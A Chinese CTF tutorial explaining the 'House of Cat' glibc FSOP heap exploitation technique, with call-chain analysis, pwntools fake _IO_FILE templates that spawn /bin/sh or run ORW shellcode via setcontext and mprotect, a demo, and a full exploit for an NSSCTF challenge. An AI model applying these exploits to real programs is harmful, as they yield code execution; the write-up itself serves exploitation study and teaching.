深入理解 House of Cat

Index

    • 序言
    • 利用 FSOP 调用 House of Cat
      • 利用条件
      • 伪造IO流条件
      • 完整调用链分析
    • 模板
      • System (one_gadget) 模板
      • ORW模板
    • Demo & Exp
    • 利用 __malloc_assert 调用 House of Cat
    • 例题:
      • 题目
      • 思路
      • Exp

序言

原文章:深入理解 House of Cat

随着 GNU 持续不断的更新,在 Glibc 2.34,__free_hook 以及 __malloc_hook 和其他一系列 hook 函数全部被移除,意味着如果题目开了 Full RELRO,我们几乎无从下手…?

事实上,我们还有 _IO_FILE 结构体可以进行利用。但是随着 GNU 的更新,_IO_FILE 结构体的利用方式也逐渐开始被封杀。本篇文章会深入分析一种 _IO_FILE 的利用方式 — House of Cat。

House of Cat 可以在任意版本利用,但是三种触发方式,有一种从高版本被移出Libc, _malloc_assert 在 Glibc 2.35 之后被移除,目前只剩下一种利用方式仍然可以打任意版本:FSOP。

利用 FSOP 调用 House of Cat

FSOP,全称 File Stream Oriented Programming,是一种通过伪造 _IO_FILE 结构体来实现的攻击,FSOP的完整调用链如下(仅包含关键函数):

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

利用条件

  1. 能够写一个可控地址

  2. 能够泄露堆地址以及Libc基址

  3. 能够触发IO流(FSOP,__malloc_assert)

伪造IO流条件

  1. _IO_save_base > 0

  2. _IO_write_ptr > _IO_write_base

  3. mode > 0 (mode = 1)

完整调用链分析

exit() 函数会调用 __run_exit_handlers 进行收尾工作,在处理 _IO_FILE 结构体时,会调用 _IO_cleanup 函数。

在这里插入图片描述
在这里插入图片描述

而 _IO_cleanup 函数的内部又调用了 _IO_flush_all_lockp 函数。_IO_flush_all_lockp 函数会刷新链表 _IO_list_all 中的所有项。相当于为每个 _IO_FILE 结构体调用 fflush ,同时也调用了 _IO_FILE_plus.vtable 中的 _IO_overflow 。

在这里插入图片描述
在这里插入图片描述

_IO_OVERFLOW 实际上是一个宏定义函数,展开如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

实际上调用 _IO_OVERFLOW 宏就是先调用 JUMP1 宏先调用 _IO_JUMPS_FUNC 宏,_IO_JUMPS_FUNC 会先调用 IO_validate_vtable 函数来检测一遍对应虚函数的偏移是否位于一个合理区间,如果不合理会直接抛出致命错误然后退出程序。

在这里插入图片描述
在这里插入图片描述

通过劫持 vtable 指向的函数到我们所需的特定函数: _IO_wfile_seekoff 我们得以进行利用。

为什么一定要是 _IO_wfile_seekoff 呢?在上文我们调用 _IO_flush_all_lockp 时,存在这么几个条件令我们得以成功调用 _IO_OVERFLOW 宏。

在这里插入图片描述

也就是:

  1. _IO_FILE 结构体的 mode 必须大于0

  2. _wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base

  3. vtable 的偏移必须为0

这三个条件都是可以达成的,我们可以通过伪造 _IO_FILE 结构体实现,再看看 _IO_wfile_seekoff 函数。

在这里插入图片描述

眼熟吗?_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base,mode 大于0。刚好全部满足。

我们伪造的条件会使得我们进入最底下的语句。

  if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;

我们来查看 _IO_switch_to_wget_mode 做了什么事。

在这里插入图片描述

然后劫持 _IO_WOVERFLOW 的地址我们就可以做到直接GetShell或者ORW。

在这里插入图片描述

_IO_switch_to_wget_mode 中存在这么几条汇编代码:

<_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
<_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
<_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]<_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

而 _IO_switch_to_wget_mode 的RDI寄存器刚好是我们的 _IO_FILE 结构体的地址。

在这里插入图片描述

那么利用链就很清晰了:

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

我们只需要构造(覆写)_IO_FILE 结构体,即可完成利用。

模板

Pwntools 自带的 FileStrcture 不带 _mode,无法拿来写模板。

这里使用的是 RoderickChan 师傅的 pwncli 库中的 IO_FILE_plus_struct 类,我把这个类提取出来放到自己的库里了。

System (one_gadget) 模板

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]

ORW模板

Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)
rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))Fake_IO_File_Structure += rop

为什么需要设置 _IO_save_base 为1?

在 _IO_flush_all_lockp 函数中,有这2句代码:

<_IO_flush_all_lockp+183>    mov    rcx, qword ptr [rax + 0x18]         RCX, [_IO_2_1_stderr_+72] => 1
<_IO_flush_all_lockp+187>    cmp    qword ptr [rax + 0x20], rcx         0x7f93da3c4720 - 0x1     EFLAGS => 0x212 [ cf pf AF zf sf IF df of ]

这里会调用 _IO_2_1_stderr+72 ,也就是 _IO_save_base 的内容,并赋值给RCX寄存器。

在下文中,如果RCX寄存器为0,就会跳转到另一端代码执行:

<_IO_wfile_seekoff+48>    test   ecx, ecx                        1 & 1     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
<_IO_wfile_seekoff+50>    je     _IO_wfile_seekoff+1080      <_IO_wfile_seekoff+1080><_IO_wfile_seekoff+1080>    cmp    qword ptr [rax + 0x30], 0       0 - 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
<_IO_wfile_seekoff+1085>  ✔ je     _IO_wfile_seekoff+1504      <_IO_wfile_seekoff+1504>

这里上面两句对应的是

  if (mode == 0)return do_ftell_wide (fp);

可以从汇编看出来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
当RCX为0时,程序进入了这段 if 语句。执行了 do_ftell_wide 函数,如果进入了 do_ftell_wide ,则不会执行我们想要劫持到的函数 _IO_switch_to_wget_mode 。

想劫持到哪就直接替换 _IO_save_end 指向的内容即可。

Demo & Exp

Libc:
在这里插入图片描述

#include <stdio.h>int main()
{puts("Gift");printf("Address of puts: %p\n", (void*)&puts);puts("Address showed.");read(0, (void*)stderr, 0x1000);return 0;
}
from PwnModules import *io, elf = get_utils('./demo.out', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')io.recvuntil(b'puts: ')
libc_base = recv_int_addr(io, 14) - libc.sym['puts']
show_addr('Addr: ', libc_base)ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址# ORW 就取消掉 setcontext 等的注释即可。Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') # + p64(fake_io_addr + 0x128) + p64(ret)
# rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))# Fake_IO_File_Structure += ropshow_addr('_IO_2_1_stderr_: ', fake_io_addr)
show_addr('_IO_2_1_stdout_', libc_base + libc.sym['_IO_2_1_stdout_'])io.send(Fake_IO_File_Structure)io.interactive()

在这里插入图片描述

利用 __malloc_assert 调用 House of Cat

调用方式变成直接攻击 Top Chunk 即可。

满足以下三个条件之一即可触发 __malloc_assert

Top Chunk 的大小小于 MINSIZE(0x20)

Prev Inuse 位为0

Old_Top 页未对齐

例题:

题目

[NSSRound#14 Basic]Girlfriends’ notebooks

思路

使用 House of Orange 的思路,伪造 Top Chunk 的 size,释放旧 Top Chunk,泄露Libc基址

然后打 House of Cat 使用 ORW 输出 Flag。

Exp

from PwnModules import *io, elf = get_utils('./Girlfriendsnotebooks', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')def add(idx, size, data):io.sendlineafter(b': ', b'1')io.sendlineafter(b': ', str(idx))io.sendlineafter(b': ', str(size))io.sendafter(b': ', data)def show(idx):io.sendlineafter(b': ', b'2')io.sendlineafter(b': ', str(idx))def edit(idx, data):io.sendlineafter(b': ', b'4')io.sendlineafter(b': ', str(idx))io.sendafter(b': ', data)add(4, 0x108, p64(0) * 33 + p64(0xf51))
add(5, 0x1000, b'a' * 8)
add(6, 0xf00, b'a' * 8)
show(6)libc_base = leak_addr(2, io) - 0x21a2f0
show_addr('Addr: ', libc_base)ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))Fake_IO_File_Structure += ropshow_addr('Addr: ', fake_io_addr)# debug(io)
edit(-4, Fake_IO_File_Structure)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/838770.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis7基础篇2 redis的3种模式(主从,哨兵,集群)模式

一 主从复制模式 1.1 主从模式 主从模式&#xff1a; 主机可以读&#xff0c;写&#xff0c;重机只能写操作。 主机shutdown后&#xff0c;从机上位还是原地待命&#xff1a;从机不动&#xff0c;原地待命&#xff0c;数据正常使用&#xff0c;等待主机重启归来。 主机shu…

【Threejs进阶教程-算法篇】1.常用坐标系介绍与2d/3d随机点位算法

2d/3d随机算法 学习ThreeJS的捷径坐标系简介平面直角坐标系和极坐标系空间直角坐标系圆柱坐标系球坐标系球坐标系与直角坐标系的转换 基于坐标系系统的随机点位算法平面直角坐标系随机平面直角坐标系随机的变形 空间直角坐标系随机二维极坐标系随机圆柱坐标系随机基于Cylinderc…

QT学习----知识整理(入门篇)

一、初识QT 1、序章 1.1 下载地址 官网&#xff1a;Try Qt | Develop Applications and Embedded Systems | Qt 或者&#xff1a;Index of /archive/qt&#xff08;下载慢&#xff09; 或者&#xff1a;FFmpeg中文网站 中文教程 Android 安卓 -QT 下载 1.2 组件介绍 MSVC…

在面对各种问题时,我们应该如何进行数据分析

python数据分析汇总 前言一、对比分析概念特征类型案例Matplotlib的颜色字母对照表解决遇到未知函数 二、相关性分析概念类型案例一案例二 三、时间序列分析概念类型案例 四、回归分析概念类型案例一案例二案例三 五、决策树概念计算过程案例 六、主成分分析概念计算过程案例 七…

分析人工智能在智慧银行服务中的实际应用以及面临的挑战

一、引言 近年来,人工智能(AI)技术快速发展,其在金融领域,特别是智慧银行服务中的应用日益广泛。人工智能以其独特的数据处理能力、预测分析能力以及自动化决策能力,极大地提升了智慧银行的服务效率、降低了运营成本,并优化了客户体验。然而,人工智能在智慧银行服务中…

web安全学习笔记(16)

记一下第27-28课的内容。Token 验证 URL跳转漏洞的类型与三种跳转形式&#xff1b;URL跳转漏洞修复 短信轰炸漏洞绕过挖掘 一、token有关知识 什么是token&#xff1f;token是用来干嘛的&#xff1f;_token是什么意思-CSDN博客 二、URL跳转漏洞 我们在靶场中&#xff0c;…

计算机SCI期刊,中科院2区TOP,对国人相当友好,一周内出版!

一、期刊名称 ISA Transactions 二、期刊简介概况 期刊类型&#xff1a;SCI 学科领域&#xff1a;计算机科学 影响因子&#xff1a;7.3 中科院分区&#xff1a;2区TOP 出版方式&#xff1a;订阅模式/开放出版 版面费&#xff1a;选择开放出版需支付$3950 三、期刊征稿范…

抖音小店有订单后怎么发货?实操分享!发货全流程来了

哈喽~我是电商月月 做无货源抖音小店的店铺在出单后怎么发货&#xff1f;今天我就来给大家解答这个问题&#xff0c;其中的注意事项新手商家可以收藏一下&#xff0c;避免犯错 抖音小店的商品出单后&#xff0c;商家在“管理中心-订单管理”页面就能看见所有待处理的订单 一…

github新手用法

目录 1&#xff0c;github账号注册2&#xff0c;github登录3&#xff0c;新建一个仓库4&#xff0c;往仓库里面写入东西或者上传东西5&#xff0c; 下载Git软件并安装6 &#xff0c;获取ssh密钥7&#xff0c; 绑定ssh密钥8&#xff0c; 测试本地和github是否联通9&#xff0c;从…

618好物推荐大赏:2024年必囤好物一网打尽,购物攻略助你抢购无忧!

在618购物狂欢节来临之际&#xff0c;我为大家精心挑选了一系列好物&#xff0c;它们不仅品质卓越&#xff0c;更能在日常生活中为我们带来无限便利与乐趣。这里的每一款产品都经过我严格筛选&#xff0c;只为给你最优质的购物体验。让我们一起在这个618&#xff0c;发现生活中…

统计学第2天

参数估计 基本概念 估计量与估计值 估计量&#xff1a;用于估计总体参数的随机变量 如&#xff1a;样本均值&#xff0c;样本比例&#xff0c;样本方差等 例如&#xff1a;样本均值就是总体均值的一个估计量 估计值&#xff1a;估计参数时计算出来的统计量的具体值 如&…

后端之路第一站——Maven

前提&#xff1a;得会基础java 前言&#xff1a;不知道出于什么原因&#xff0c;可能是喜欢犯贱吧&#xff0c;本人从大一到大二都一直在专研前端开发&#xff0c;一点也没接触过后端&#xff0c;但是突然抽风想学后端了&#xff0c;想试着自己全栈搞一下项目&#xff0c;于是在…

武汉星起航深耕亚马逊跨境,助力合作伙伴实现全球业务增长

在数字化浪潮席卷全球的今天&#xff0c;跨境电商业务蓬勃发展&#xff0c;成为推动国际贸易增长的重要引擎。亚马逊&#xff0c;作为全球最大的电商平台之一&#xff0c;以其独特的平台特点和全球化布局&#xff0c;为卖家和买家提供了便捷、高效的交易环境&#xff0c;成为众…

音视频开发4-补充 FFmpeg 开发环境搭建 -- 配置环境 Ubuntu 22.04.2 LTS +FFmpeg 7.0

配置环境 Ubuntu 22.04.2 LTS FFmpeg 7.0 参开如下的博客内容&#xff0c;但是实际build 中使用 FFmpeg 6.0 会有build error&#xff0c;网上查资料&#xff0c;需要使用7.0中的代码切换6.0中的一部分&#xff0c;因为嫌麻烦&#xff0c;直接换成7.0 【调试经验】Ubuntu FFm…

【网站项目】SpringBoot379儿童疫苗接种管理系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

Python自学之路--004:Python使用注意点(原始字符串‘r’\字符转换\‘wb’与‘w区别’\‘\‘与‘\\’区别)

目录 1、原始字符串‘r’ 2、字符转换问题 3、open与write函数’wb’与’w’区分 4、Python里面\与\\的区别 1、原始字符串‘r’ 以前的脚本通过Python2.7写的&#xff0c;通过Python3.12去编译发现不通用了&#xff0c;其实也是从一个初学者的角度去看待这些问题。 其中的\…

解放双手,批量自动上传视频到微信视频号

文件夹里面有很多视频&#xff0c;一个个手工上传到视频号很麻烦&#xff0c;可以借助AI来自动化。 先把视频号上传流程熟悉一遍&#xff0c;把一些按钮截图&#xff0c;记录一些屏幕坐标。 然后&#xff0c;在deepseek的代码助手中输入提示词&#xff1a; 你是一个Python编程…

机器学习-SVM预测

本文使用机器学习SVM对数据进行预测。仅供参考 1、数据 1.1 训练数据集&#xff1a; medol.xlsx文件示例 otv3015-1.9153622093018-1.9634097763021-1.7620284083024-1.789477583 1.2 预测数据集 test.xlsx文件示例 ot35163519 2、模型训练 train.py import pandas as …

软件工程期末复习(8)需求的表达方法和状态转换图

需求的表达方法 系统模型 需求分析的任务就是借助于当前系统的逻辑模型导出目标系统的逻辑模型&#xff0c;解决目标系统 “做什么” 的问题 通常软件开发项目是要实现目标系统的物理模型。目标系统的具体物理模型是由它的逻辑模型经实例化&#xff0c;即具体到某个业务领域而…

韵搜坊 -- java爬虫抓取数据

文章目录 三种抓取方式数据抓取的流程获取文章具体操作 获取用户获取图片jsoup操作 三种抓取方式 直接调用请求接口(最方便&#xff0c;这里使用该方法) HttpClient,OKHttp,RestTemplate,Hutool等网页渲染出明文内容后&#xff0c;从前端页面的内容抓取有些网站可能是动态请求…